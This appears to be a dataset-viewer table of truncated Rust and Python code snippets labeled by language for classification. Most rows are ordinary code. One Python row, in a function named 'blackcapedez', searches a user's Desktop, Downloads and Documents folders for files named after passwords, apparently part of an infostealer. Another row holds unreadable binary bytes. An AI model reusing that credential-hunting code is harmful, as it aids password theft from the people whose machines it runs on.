text string | label_name string | labels int64 |
|---|---|---|
nodes[j as usize] = val;
self.node = Node::List(nodes);
Some(())
} else {
unreachable!();
}
} else {
if j == -1 {
self.node = val;
Some(())
... | Rust | 0 |
from typing import Sequence
import numpy as np
class RatingCurve(object):
"""Class to estimate rating curves from stage and discharge data and to convert stage to discharge and vice-versa.
Parameters
----------
stages : Sequence
Stage data to estimate a rating curve
discharg... | Python | 1 |
import asyncio
from loguru import logger
from quantalogic_codeact.cli_commands.config_manager import load_global_config
from quantalogic_codeact.commands.toolbox.install_toolbox_core import install_toolbox_core
async def install_toolbox(shell, args: list[str]) -> str:
"""Install a toolbox using uv pip install.
... | Python | 1 |
"""Test the F16 dynamics"""
import pytest
from warnings import warn
import torch
import numpy as np
try:
from neural_clbf.systems import F16
except ImportError:
warn("Could not import F16 module")
pytest.skip(
"Could not import F16 module; is AeroBench installed?", allow_module_level=False
)
... | Python | 1 |
}
}
impl<'a, const PathDepth: usize> From<PathSegments<'a, PathDepth>> for ConstSmallVec<PathSegment<'a>, PathDepth>
{
#[inline(always)]
fn from(value: PathSegments<'a, PathDepth>) -> Self
{
value.0
}
}
impl<'a, const PathDepth: usize> const Default for PathSegments<'a, PathDepth>
{
#[inline(always)]
fn defau... | Rust | 0 |
cense_info['users_allowed']}")
print(f" Current users: {license_info['users_current']}")
print(f" Features enabled: {', '.join(license_info['features_enabled'])}")
# Test feature checking
print(f"\nFeature availability:")
test_features = ['payroll', 'reporting', 'advanced_analytics', 'multi... | Python | 1 |
elf._get_error_template('no_drive')
if len(slots) > 1:
return session, self._get_error_template('multiple_drive')
try:
session = pkcs11.openSession(slots[0], PyKCS11.CKF_SERIAL_SESSION | PyKCS11.CKF_RW_SESSION)
session.login(pin)
except Exception as ex:
... | Python | 1 |
"""Neousys CAN bus driver"""
__all__ = [
"NeousysBus",
"neousys",
]
from can.interfaces.neousys.neousys import NeousysBus
| Python | 1 |
")
def _plot_weight_deviation(
self, current: Dict[str, float], target: Dict[str, float]
) -> None:
"""繪製權重偏離圖"""
assets = list(current.keys())
current_weights = [current[asset] for asset in assets]
target_weights = [target[asset] for asset in assets]
deviations ... | Python | 1 |
" U5 U- - U- SU - - - $ )Nrs r( r) rL rF )r- r> r r r r r r s r/ beta0func_rvs_Z1.<locals>.beta0func ]
rvvc{"RVVBZ/
1sbffSkE11Q6C%KH
I
r2 c U[ R " [ R ... | Python | 1 |
te=backtest_info["start_date"],
end_date=backtest_info["end_date"],
initial_capital=backtest_info["initial_capital"],
created_at=backtest_info["created_at"],
started_at=backtest_info.get("started_at"),
completed_at=backtest_info.get("completed_at"),
)
... | Python | 1 |
import streamlit as st
import requests
import os
from PIL import Image
import pandas as pd
import matplotlib.pyplot as plt
st.title('Monitoring Dashboard')
image = Image.open('./assets/stats.png')
st.image(image)
st.markdown("###### A simple tool for monitoring the performance of our model. This simple monitoring dash... | Python | 1 |
T, RelAnsatz>::Table(Table(bq_key))
.to_ansatz()
.unwrap())
}
child => child
.map_expressions(&|expr_t| BigQueryExprT::wrap(expr_t.clone()))
.to_ansatz()
.map_err(|e| e.to_string()),
})
}
}
pub s... | Rust | 0 |
from_bottom() {
let rect = Rect::new(0, 0, 20, 30);
assert_eq!(Rect::new(0, 0, 20, 20), rect.clip_bottom(10));
}
fn styles() -> Vec<Style> {
vec![
Style::default(),
Style::default().fg(Color::Yellow),
Style::default().bg(Color::Yellow),
... | Rust | 0 |
import concurrent.futures
from typing import List
from newsapi import NewsApiClient
categories = ["technology", "business", "entertainment", "health", "sports", "science"]
class NewsSearch(object):
def __init__(self, api_key):
self.news_api_client = NewsApiClient(api_key)
def news_headlines_search(... | Python | 1 |
let mut rook_death = Vec::new();
let anim_size = Vector::new(16, 16);
for image_index in 0..num_sprites {
let pos = Vector::new(image_index * 16, 0);
rook_death.push(image.subimage(Rectangle::new(pos, anim_size)));
}
return Ok(rook_death);... | Rust | 0 |
"""
Copyright 2018 Edmunds.com, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, softw... | Python | 1 |
xpect("odd path")
.to_owned(),
);
vars.insert(
"CI_BUILDS_DIR".into(),
build_dir.to_str().expect("odd path").to_owned(),
);
vars.insert(
"CI_PROJECT_DIR".into(),
build_dir.to_str().expect("odd path").to_owned(),
);
vars.insert(
"CI_JOB_PATH".i... | Rust | 0 |
, 0, 0, 0, 0, 0, 0, 1), *aaaa);
}
// test some additional record collections
macro_rules! define_basic_test {
($new:ident; $( $f:ident, )*) => {
$(
#[test]
fn $f () {
let authority = crate::$new("../../tests/test-data/named_test_configs/example.com.zone", module_pat... | Rust | 0 |
hifts: Vec<f64>,
abs_shifts: Vec<f64>,
}
impl ShiftDefinition {
pub fn new(
instrument_filter: InstrumentFilter,
rel_shifts: Vec<f64>,
abs_shifts: Vec<f64>,
) -> Result<Self, PricerError> {
if rel_shifts.len() != abs_shifts.len() {
return Err(PricerError::Invalid... | Rust | 0 |
#[doc = "0xd0 - SYSCON_PERI_BACKUP_INT_CLR"]
pub syscon_peri_backup_int_clr: SYSCON_PERI_BACKUP_INT_CLR,
_reserved39: [u8; 808usize],
#[doc = "0x3fc - SYSCON_DATE"]
pub syscon_date: SYSCON_DATE,
}
#[doc = "SYSCON_SYSCLK_CONF\n\nThis register you can [`read`](crate::generic::Reg::read), [`reset`](crate::... | Rust | 0 |
import pytest
from datetime import date
from schemas.daily_completions import (
DailyCompletionsResponse,
CompletionEntryResponse,
)
@pytest.mark.asyncio
async def test_create_and_update_daily_completion(client, user_token, clean_db):
headers = {"Authorization": f"Bearer {user_token}"}
today = date.to... | Python | 1 |
gnments:
grid_assignments[grid_key] = []
grid_assignments[grid_key].append(agent)
# 更新智能体的网格坐标缓存
if NEIGHBOR_CACHE_ENABLED:
self.grid_coords_cache[agent.id] = grid_key
# 第二步:批量更新空间网格
for gri... | Python | 1 |
v.as_mut_ptr() as *mut nlmsghdr) };
let ifi = unsafe { &mut *(NLMSG_DATA!(nlh) as *mut ifinfomsg) };
// No attributes needed?
nlh.nlmsg_len = NLMSG_LENGTH!(mem::size_of::<ifinfomsg>()) as __u32;
nlh.nlmsg_type = RTM_DELLINK;
nlh.nlmsg_flags = NLM_F_REQUEST;
self.assign_s... | Rust | 0 |
import FWCore.ParameterSet.Config as cms
from Configuration.Generator.Pythia8CommonSettings_cfi import *
from Configuration.Generator.Pythia8CUEP8M1Settings_cfi import *
generator = cms.EDFilter("Pythia8GeneratorFilter",
comEnergy = cms.double(13000.0),
crossSection = cms.untracked.double(0.00000136),... | Python | 1 |
{
CTIMER4_RULE_A::ENUM_NS_NP => 0,
CTIMER4_RULE_A::ENUM_NS_P => 1,
CTIMER4_RULE_A::ENUM_S_NP => 2,
CTIMER4_RULE_A::ENUM_S_P => 3,
}
}
}
#[doc = "Reader of field `CTIMER4_RULE`"]
pub type CTIMER4_RULE_R = crate::R<u8, CTIMER4_RULE_A>;
impl CTIMER4_RULE_R {
... | Rust | 0 |
= FPDecimal::_mul(FPDecimal { num: tr, sign: 1 }, r);
if a.sign == 0 {
return FPDecimal::reciprocal(val);
}
val
}
}
#[cfg(test)]
mod tests {
use crate::FPDecimal;
use bigint::U256;
#[test]
fn test_exp() {
assert_eq!(FPDecimal::_exp(FPDecimal::ONE), FPDe... | Rust | 0 |
table.add_row(
data["session_name"],
data["last_updated"],
str(len(data["plugins_analyzed"]))
)
console.print(table)
session = Prompt.ask("Enter session name to resume")
checkpoint = checkpoint_manager.load_latest_ses... | Python | 1 |
import allure
from playwright.sync_api import Page
class AddProjectPage:
def __init__(self,page:Page):
self.page = page
# 页面元素
self.locator_project_name = page.get_by_label("项目名称:")
self.locator_publish_app = page.get_by_label("所属应用:")
self.locator_project_desc = page.get_b... | Python | 1 |
= "Channel n Interrupt Flag Status and Clear"]
pub mod chintflag;
#[doc = "Channel n Status\n\nThis register you can [`read`](crate::generic::Reg::read). See [API](https://docs.rs/svd2rust/#read--modify--write-api).\n\nFor information about avaliable fields see [chstatus](chstatus) module"]
pub type CHSTATUS = crate::R... | Rust | 0 |
code_emitter.patch_datum_index(addr, index);
} else {
prog.lines[line].diagnostics.push(Diagnostic::new_warning(
range,
"行号不存在,RESTORE 语句将会把 DATA 指针重置到程序开头",
));
}
}
}
fn compile_stmt(&mut self, stmt: StmtId) {
macro_rules! compile_draw_stmt {
(
... | Rust | 0 |
() {
let dbs = DivBufShared::from(vec![1, 2, 3, 4, 5, 6, 7, 8]);
{
// Simplest case: freeze the entire buffer
let dbm = dbs.try_mut().unwrap();
let _ : DivBuf = dbm.freeze();
}
{
// Freeze a buffer in the presence of other readers && writers
let mut dbm = dbs.try_... | Rust | 0 |
_SIMPLE,
BOB_DID,
&[
&BOB_SECRET_KEY_AGREEMENT_KEY_P256_1.id,
&BOB_SECRET_KEY_AGREEMENT_KEY_P256_2.id,
],
&ALICE_VERIFICATION_METHOD_KEY_AGREEM_P256.id,
&ALICE_VERIFICATION_METHOD_KEY_AGREEM_P256.id,
&ALICE_AUTH_METH... | Rust | 0 |
import cv2
import os
import time
from project_utils.image_utils import crop_image, save_image
from ultralytics import YOLO
VIDEO_PATH = "/Users/raghavmehta/Desktop/Coding/projects py/SafetyWhat/data/test_video.mp4"
CROPPED_IMAGES_DIR = "data/cropped_images/"
FRAME_LIMIT = 100
os.makedirs(CROPPED_IMAGES_DIR, exist_ok=... | Python | 1 |
("py", &["*.py"]),
("qmake", &["*.pro", "*.pri", "*.prf"]),
("qml", &["*.qml"]),
("readme", &["README*", "*README"]),
("r", &["*.R", "*.r", "*.Rmd", "*.Rnw"]),
("rdoc", &["*.rdoc"]),
("rst", &["*.rst"]),
("ruby", &["Gemfile", "*.gemspec", ".irbrc", "Rakefile", "*.rb"]),
("rust", &["*.r... | Rust | 0 |
rovider_ids:
assert expected_provider in resulting_provider_ids
def test_search_in_description(self):
"""Search for module providers based on value in description."""
result = ProviderSearch.search_providers(
offset=0, limit=10,
query='DESCRIPTION-Search'
... | Python | 1 |
5)
if self.group_cnt >= 4:
axes[1].plot(self.df_pnl.index, self.df_pnl['group_ls_2_pro'].cumsum(),
label=f'group 2-{self.group_cnt - 1}', color='purple',
linestyle='--', linewidth=1.5)
else:
axes[1].plot(self.df_pn... | Python | 1 |
nit__(self, inChannel, outChannel, flag_res=True, nKernal=3, nPool=2, flag_Pool=True):
super(Decoder_Triblock, self).__init__()
self.layer1 = nn.Sequential(
nn.ConvTranspose2d(inChannel, outChannel, kernel_size=2, stride=2),
nn.ReLU(inplace=True)
)
if flag_res:
... | Python | 1 |
, get and change the info using the struct methods
#[wasm_bindgen_test]
pub fn check_provider() {
let mut provider = Provider::new(123, "Magic".to_owned());
let id = provider.id();
let name = provider.name();
assert_eq!(id, 123);
assert_eq!(name, "Magic".to_owned());
provider.set_id(456);
... | Rust | 0 |
\x0e\xa7\
\xff\xf1\xfc'\xf3<\xf6r'\xbe;\xc6\xa2W\xd6*\
?\xe9\xc3\xb2\xc0\x9a\x0a'\xfbR\xb2I\xda\x1d\x8c\xe5\
\xce/\xe2~U\xb3V\xffI\x93\xb3w\xedF8\x1f\
\x9b\xfa\xbd\xd2\xa1\xd3\x12zu\x85?\xd3\xde\x1b\xec\xec\
\xc0\xc7mM\xe7\xf4Qep\xa8\xf8\xa9N\xa6\xcd#\
5\xb5\xfam\xfb\x908\x8a]\xcc\x99V&\x84o9\
\x00z\x81\xdb7i\x22I\x12\... | Python | 1 |
_full_node_api, wallet_rpc_port, _ph, bt = await init_wallet_and_node(
self_hostname, one_wallet_and_one_simulator_services
)
manage_data_interval = 5
fake_store = bytes32([1] * 32)
async def mock_get_store_ids(self: Any) -> set[bytes32]:
return {fake_store}
async def mock_dl_trac... | Python | 1 |
from socket import socket, SOCK_STREAM, AF_INET
from datetime import datetime
def main():
# 1.创建套接字对象并指定使用哪种传输服务
# family=AF_INET - IPv4地址
# family=AF_INET6 - IPv6地址
# type=SOCK_STREAM - TCP套接字
# type=SOCK_DGRAM - UDP套接字
# type=SOCK_RAW - 原始套接字
server = socket(family=AF_INET, type=SOCK_STR... | Python | 1 |
oin(self.role_dir, 'meta', 'main.yml')
with open(meta_file) as f:
meta = yaml.safe_load(f.read())
if self.meta_namespace:
meta['galaxy_info']['namespace'] = self.meta_namespace
if self.meta_name:
meta['galaxy_info']['role_name'] = self... | Python | 1 |
with open('txt-Krilov-2025/24var09.txt') as file:
st = file.readline()
st = st.replace('A', '*')
st = st.split('*')
ans = 0
for i in range(len(st)-4):
ans = max(ans, len(''.join(st[i:i+4])) + 3)
print(ans)
| Python | 1 |
from our_models.pointnet_util import index_points, square_distance
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
class TransformerBlock(nn.Module):
def __init__(self, d_points, d_model, k) -> None:
super().__init__()
self.fc1 = nn.Linear(d_points, d_model)
... | Python | 1 |
` writer - Bus Time-out Control"]
pub struct TIMEOUTC_W<'a> {
w: &'a mut W,
}
impl<'a> TIMEOUTC_W<'a> {
#[doc = r"Writes `variant` to the field"]
#[inline(always)]
pub fn variant(self, variant: TIMEOUTC_A) -> &'a mut W {
unsafe { self.bits(variant.into()) }
}
#[doc = "Time-out is disable... | Rust | 0 |
ll encode all others.
percent_encodings = len(
PERCENT_MATCHER.findall(compat.to_str(uri_component, encoding))
)
uri_bytes = compat.to_bytes(uri_component, encoding)
is_percent_encoded = percent_encodings == uri_bytes.count(b"%")
encoded_uri = bytearray()
for i in range(0, len(uri_byt... | Python | 1 |
, modified, or distributed
// except according to those terms.
use std::collections::VecDeque;
pub struct RingBuffer {
queue: VecDeque<u8>,
// `VecDeque` doesn't use the exact capacity we pass to it, so we need this field.
capacity: usize,
}
impl RingBuffer {
fn new(capacity: usize) -> Self {
... | Rust | 0 |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.4 on 2018-08-03 15:48
# Django
from django.db import migrations
# Standard Library
import uuid
def make_full_name(apps, schema_editor):
Profile = apps.get_model('accounts', 'Profile')
for profile in Profile.objects.all():
profile.full_name = '{} {}... | Python | 1 |
import cv2
import pytesseract
import json
pytesseract.pytesseract.tesseract_cmd = r'C:\Program Files\Tesseract-OCR\tesseract.exe'
def load_image(image_path):
img = cv2.imread(image_path)
if img is None:
print("Error: Can't find image at", image_path)
return None
gray = cv2.cvtColor(img, c... | Python | 1 |
rError> {
do_parse! {
pdu,
req_id: parse_ber_u32 >>
non_repeaters: parse_ber_u32 >>
max_repetitions: parse_ber_u32 >>
var_bindings: parse_varbind_list >>
(
SnmpPdu::Bulk(
SnmpBulkPdu {
req_id,
... | Rust | 0 |
es.append(["folder", path, fifound])
def blackcapedez():
user = temp.split("\AppData")[0]
path2search = [
user + "/Desktop",
user + "/Downloads",
user + "/Documents"
]
key_wordsFiles = [
"passw",
"mdp",
"motdepasse",
"mot_de_passe",
"lo... | Python | 1 |
import pandas as pd
import pypsa
import dill
import shutil
from datetime import datetime
import numpy as np
def create_backup(original_file):
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
backup_file = f"{original_file.rsplit('.', 1)[0]}_backup_{timestamp}.pkl"
shutil.copy2(original_file, backup_fi... | Python | 1 |
ioldm-s-full"):
meta = get_metadata()
if checkpoint_name not in meta.keys():
print(
"The model name you provided is not supported. Please use one of the following: ",
meta.keys(),
)
if (
not os.path.exists(meta[checkpoint_name]["path"])
or os.path.get... | Python | 1 |
text=True,
timeout=5
)
if resultado.returncode == 0:
print("✅ FFmpeg está funcionando corretamente!")
print(f" Versão do FFmpeg: {resultado.stdout.splitlines()[0]}")
else:
print(f"❌ FFmpeg não está funcionando: {re... | Python | 1 |
(
'expected an "os2ds_problems" message with'
' {"missing": False}, but got' f" {k}")
def test_ews_mailbox_gone(self):
"""Check that a mail in a deleted EWS mailbox is itself correctly
treated as deleted."""
mail = EWSMailHandl... | Python | 1 |
::SYS_timerfd_settime => Timerfd_settime,
libc::SYS_timerfd_gettime => Timerfd_gettime,
libc::SYS_accept4 => Accept4,
libc::SYS_signalfd4 => Signalfd4,
libc::SYS_eventfd2 => Eventfd2,
libc::SYS_epoll_create1 => Epoll_create1,
libc::SYS_dup3 => Dup3... | Rust | 0 |
armv8` crate feature.
//!
//! On Linux and macOS, when the `armv8` feature is enabled support for AES
//! intrinsics is autodetected at runtime. On other platforms the `aes`
//! target feature must be enabled via RUSTFLAGS.
//!
//! ## `x86`/`x86_64` intrinsics (AES-NI)
//! By default this crate uses runtime detection o... | Rust | 0 |
, Clone)]
pub struct Gather {
pub plan: Plan,
pub num_workers: ::std::os::raw::c_int,
pub rescan_param: ::std::os::raw::c_int,
pub single_copy: bool,
pub invisible: bool,
pub initParam: *mut Bitmapset,
}
#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct GatherMerge {
pub plan: Plan,
pu... | Rust | 0 |
from sqlalchemy.orm import Session
from . import models, schemas
def create_patient(db: Session, patient_data: schemas.PatientCreate, severity: str):
symptom_list = [s.lower().strip() for s in patient_data.symptoms] # ✅ Normalize symptoms
db_patient = models.Patient(
name=patient_data.name.lower().st... | Python | 1 |
N(self):
self.run_test()
@unittest.skipIf(not GPX_AVAILABLE, "GPX not available")
def test_cos_GPX(self):
self.run_test()
@unittest.skipIf(not COMPILED_AVAILABLE, "Compiled Fortran libraries not available")
def test_cos_IDW(self):
self.run_test()
@unittest.skipIf(not COMPI... | Python | 1 |
The output device is specified using SERVICE[#DEVICE], e.g. alsa#hw:0,0.
Allowed services are: \"auto\", \"alsa\" and \"pulse\".
Selecting \"auto\" will let Storm choose the best device.
For \"alsa\" and \"pulse\" the device is specified as usual for those services,
e.g:
- alsa#default, alsa#plughw:0,0 or even alsa#pul... | Rust | 0 |
def upper_bound(arr,target):
low = 0
high = len(arr) - 1
ans = -1
while low <= high:
mid = (low + high)//2
if arr[mid] > target:
ans = mid
high = mid - 1
else:
low = mid + 1
return ans
arr = [1,2,3,4,5,6,7,8]
print(upper_bound(arr,4)) | Python | 1 |
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_small_image() {
let image = SpaceImage::from_str("123456789012", 3, 2);
assert_eq!(image.get_layers().len(), 2);
assert_eq!(image.get_layers()[0].get_as_str(), "123456");
assert_eq!(image.get_layers()[1].get_as_str(), ... | Rust | 0 |
in - vin_trgt), diff_perc_vin))
assert 0. < diff_perc_vex < MAX_VAR_DIFF_PERC
assert 0. < diff_perc_vin < MAX_VAR_DIFF_PERC
# means
print("\n____means___________________________________________")
m_exc_data = np.mean(state["g_noise_exc"])
m_inh_data = np.mean(state["g_no... | Python | 1 |
classes=[
"rio-switcheroo-neutral",
"rio-dev-tools-background",
],
),
# Navigation
rio.Column(
rio.SwitcherBar(
names=names,
icons=ic... | Python | 1 |
[0usize; DEFAULT_NUMBER_OF_CHANNELS_PER_ROW];
for channel_number in 0..DEFAULT_NUMBER_OF_CHANNELS_PER_ROW as usize {
row_number[channel_number] = 0;
current_pos[channel_number] = pattern_start_offset + pattern_offsets.pop().unwrap();
}
let mut truncate_pos = DEFAULT_NUMBER_OF_ROWS_PER_PATTERN;
loop ... | Rust | 0 |
m():
self.func_bat_sim_timer.start(
round(1000 / self.ui.spinBoxBatSimLoopFreq.value())
)
self._bat_sim_start_time = time.perf_counter()
self.v_set = 0
self.wait_output_stable(start_bat_sim)
def func_bat_sim(self):
... | Python | 1 |
import pandas as pd
import numpy as np
import pytest
from quantreo.features_engineering.math.correlation import auto_corr
def test_auto_corr(ohlcv_sample):
"""
Test the `auto_corr` function.
"""
# === Data Preparation ===
df = ohlcv_sample.copy().head(200)
result = auto_corr(df=df, col="close... | Python | 1 |
Accuracy")
ax[4][col_idx].grid(True)
plt.tight_layout()
fig.savefig(filepath)
def get_results(self) -> pd.DataFrame:
n_metrics = len(self.loss) + len(self.accuracy) + len(self.sensitivity) +\
len(self.specificity) + len(self.balanced_accuracy) + 1
... | Python | 1 |
pretty()
} else {
name.pretty() + parens(list(pretty_comma(params)))
}
}
}
/// Pretty-print an attribute list.
fn pretty_attrlist<'a>(attrs: &'a [CAttr]) -> Doc<'a> {
if attrs.is_empty() {
empty()
} else {
text("__attribute__") + parens(parens(hsep(pretty_comma(a... | Rust | 0 |
Required features: 'Win32_UI_WindowsAndMessaging'*"]
pub const MrmPackagingModeStandaloneFile: MrmPackagingMode = 0i32;
#[doc = "*Required features: 'Win32_UI_WindowsAndMessaging'*"]
pub const MrmPackagingModeAutoSplit: MrmPackagingMode = 1i32;
#[doc = "*Required features: 'Win32_UI_WindowsAndMessaging'*"]
pub const Mr... | Rust | 0 |
test = {
'name': 'What If?',
'points': 0,
'suites': [
{
'cases': [
{
'code': r"""
>>> def ab(c, d):
... if c > 5:
... print(c)
... elif c > 7:
... print(d)
... print('foo')
>>> ab(10, 20)
... | Python | 1 |
###
# Author: Kai Li
# Date: 2021-06-18 16:32:50
# LastEditors: Kai Li
# LastEditTime: 2021-06-19 01:02:04
###
import os
import warnings
import torch
import numpy as np
import soundfile as sf
def get_device(tensor_or_module, default=None):
if hasattr(tensor_or_module, "device"):
return tensor_or_module.de... | Python | 1 |
is `TXRTSPOL_1`"]
#[inline(always)]
pub fn is_txrtspol_1(&self) -> bool {
*self == TXRTSPOL_A::TXRTSPOL_1
}
}
#[doc = "Write proxy for field `TXRTSPOL`"]
pub struct TXRTSPOL_W<'a> {
w: &'a mut W,
}
impl<'a> TXRTSPOL_W<'a> {
#[doc = r"Writes `variant` to the field"]
#[inline(always)]
pub fn variant(se... | Rust | 0 |
ror::UnexpectedWriteOnlyDescriptor);
}
if avail_desc.len as usize != size_of::<virtio_pmem_req>() {
return Err(ParseError::InvalidRequest);
}
let request: virtio_pmem_req = memory
.read_obj_from_addr(avail_desc.addr)
.map_err(ParseError::GuestMemory)... | Rust | 0 |
if let OwnedMessage::Text(ref txt) = *msg {
println!("Received message '{}' from id {}", txt, id);
}
}
type SinkContent = websocket::client::r#async::Framed<
tokio::net::TcpStream,
websocket::r#async::MessageCodec<OwnedMessage>,
>;
type SplitSink = futures::stream::SplitSink<SinkContent>;
// Repres... | Rust | 0 |
,
# "read" if is_read_test else "write",
# "export"), test_index[1], test_index[0]))
# t3.start()
# time.sleep(2)
# t4.start()
... | Python | 1 |
lemented by engines.
mod cf_defs;
pub use crate::cf_defs::*;
mod engines;
pub use engines::*;
mod errors;
pub use crate::errors::*;
mod options;
pub use crate::options::*;
pub mod range;
pub use crate::range::*;
mod raft_engine;
pub use raft_engine::{CacheStats, RaftEngine, RaftLogBatch};
// These modules need furthe... | Rust | 0 |
ValueWithUnits::new(field.value, field.units)
}
}
impl fmt::Display for ValueWithUnits {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
if self.units.is_empty() {
write!(f, "{}", self.value)
} else {
write!(f, "{} {}", self.value, self.units)
}
... | Rust | 0 |
MSEInput and smpl(x/xd) parameters, compute loss
and return a Tensor.
Args:
related_input (Keypoint3dMSEInput):
An instance of Keypoint3dMSEInput, having the same
key as self.
model_joints (torch.Tensor):
Joints from body_model.
... | Python | 1 |
from Cryptodome.Cipher import AES
from Cryptodome.Util.strxor import strxor
import base64
import binascii
import challenge18
import itertools
strings = [
b'SSBoYXZlIG1ldCB0aGVtIGF0IGNsb3NlIG9mIGRheQ==',
b'Q29taW5nIHdpdGggdml2aWQgZmFjZXM=',
b'RnJvbSBjb3VudGVyIG9yIGRlc2sgYW1vbmcgZ3JleQ==',
b'RWlnaHRlZW50... | Python | 1 |
#!/usr/bin/python
# -*- coding: utf-8 -*-
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This progra... | Python | 1 |
ionContextId"]),
hash_=str(json["hash"]),
build_id=str(json["buildId"]),
execution_context_aux_data=dict(json["executionContextAuxData"]) if "executionContextAuxData" in json else None,
is_live_edit=bool(json["isLiveEdit"]) if "isLiveEdit" in json else None,
s... | Python | 1 |
) {
let container = {
let c = MockContainer::default();
c.services()
.avatar()
.for_mastodon(|_, _| {
let user_response = fixture_content!("mastodon-user.json");
ResponseBuilder::new().body(user_response).unwrap().into()
})
... | Rust | 0 |
U: UniversePredicate> ValRef<'a, U> {
/// Get this `ValRef` as a universe
#[inline]
pub fn as_universe(self) -> ValRef<'a, IsUniverse> {
self.coerce()
}
}
impl<'a, P: UniversePredicate> Universe for NormalValue<P> {
/// Compare two universes
#[inline]
fn universe_cmp(&self, other: ... | Rust | 0 |
pect("valid ipv4 c str")
}
fn ipv6_to_cstr<'a>(ip: &net::Ipv6Addr, buf: &'a mut [u8; IP_CSTR_MAX]) -> &'a CStr {
let len = {
let mut w = io::BufWriter::new(&mut buf[..]);
w.write_fmt(format_args!("{}", &ip))
.expect("write_fmt ipv6");
IP_CSTR_MAX + 1 - w.into_inner().expect("int... | Rust | 0 |
is_encrypted = zinfo.flag_bits & _MASK_ENCRYPTED
if is_encrypted:
if not pwd:
pwd = self.pwd
if pwd and not isinstance(pwd, bytes):
raise TypeError("pwd: expected bytes, got %s" % type(pwd).__name__)
if not pwd:
... | Python | 1 |
"""
Check if Playwright server is running correctly
"""
import requests
import sys
import time
def check_playwright_server(url="http://localhost:11435", max_retries=3):
"""
Check if the Playwright server is running at the specified URL
"""
print(f"Checking Playwright server at {url}...")
for r... | Python | 1 |
import openpyxl
from openpyxl.styles import PatternFill
file=("C:\Python_Selenium\Selenium\PythonSelenium\WiteData_practise.xlsx")
def getrow(file,sheetname):
workbook=openpyxl.load_workbook(file)
sheet=workbook[sheetname]
return sheet.max_row
def getcol(file,sheetname):
workbook=openpyxl.load_workbook... | Python | 1 |
Context::from_waker(&Arc::new(NullWaker).into())).is_pending())
/// # }
/// ```
pub type FullAsyncMutex<T, Q> = CustomMutex<T, RawFullAsyncMutex<Q>>;
/// The raw portion of [`FullAsyncMutex`].
#[derive(Debug)]
pub struct RawFullAsyncMutex<Q> {
locked: AtomicBool,
waiting_queue: Q,
}
impl<Q> Default for RawFul... | Rust | 0 |
import streamlit as st
import PyPDF2 as pdf
import os
import pandas as pd
import matplotlib.pyplot as plt
from wordcloud import WordCloud
from dotenv import load_dotenv
import google.generativeai as genai
import difflib
import json
import re
# ----------------------------
# Google Analytics (optional)
# --------------... | Python | 1 |
::RefCell;
extern crate crossbeam_channel;
use crossbeam_channel as cb;
use crate::gui::*;
//use crate::audio_anywhere_wasmtime::*;
use aa_wasmtime::*;
use crate::messages::*;
use crate::comms::*;
use crate::utils::*;
use crate::bundle::*;
extern crate portaudio;
use portaudio as pa;
use crate::midi_device::*;
use ... | Rust | 0 |
tra_flood_delay(self)
} else {
Time::zero()
};
self.scheduler.add(oid, initial);
}
fn replace_behavior(&mut self, loc: &Point, new_behavior: Behavior) {
let (oid, obj) = self.level.get_mut(&loc, BEHAVIOR_ID).unwrap();
let old_behavior = obj.behavior_value().u... | Rust | 0 |
# **************************************************************************** #
# #
# ::: :::::::: #
# crossProduct.py :+: :+: :+: ... | Python | 1 |
bindgen::prelude::*;
// TODO
#[rustfmt::skip] // rustfmt removes `async` blocks
#[wasm_bindgen]
extern "C" {
pub type SidebarAction;
#[wasm_bindgen(catch, method)]
pub async fn open(this: &SidebarAction) -> Result<JsValue, JsValue>;
#[wasm_bindgen(catch, method, js_name = setPanel)]
pub async fn ... | Rust | 0 |
mbassy-start
use embassy_nrf::{interrupt, peripherals, Peripherals};
pub type NetworkUarte = peripherals::UARTETWISPI0;
pub type NetworkUarteInterrupt = interrupt::UARTE0_SPIM0_SPIS0_TWIM0_TWIS0;
pub type NetworkUarteRxPin = peripherals::P0_12;
pub type NetworkUarteTxPin = peripherals::P0_10;
pub struct NetworkPeriph... | Rust | 0 |
bval[:]).to(arg.train_pars.device)
bvec = torch.FloatTensor(bvec[:]).to(arg.train_pars.device)
net = Net(bval, bvec, arg.net_pars).to(arg.train_pars.device)
U1 = np.array([])
U2 = np.array([])
U3 = np.array([])
U4 = np.array([])
U5 = np.array([])
U6 = np.array([])
V1 = np.array([])
... | Python | 1 |
..=11 => 0b110,
_ => 0b111,
})
.unwrap_or(0b011);
let ppre2 = 1 << (ppre2_bits - 0b011);
let pclk2 = hclk / u32(ppre2);
assert!(pclk2 <= 72_000_000);
// adjust flash wait states
#[cfg(any(feature = "stm32f103", feature = "connectivity"))... | Rust | 0 |
from .francetv import FranceTVBaseInfoExtractor
class LumniIE(FranceTVBaseInfoExtractor):
_VALID_URL = r'https?://(?:www\.)?lumni\.fr/video/(?P<id>[\w-]+)'
_TESTS = [{
'url': 'https://www.lumni.fr/video/l-homme-et-son-environnement-dans-la-revolution-industrielle',
'md5': '960e8240c4f2c7a20854... | Python | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.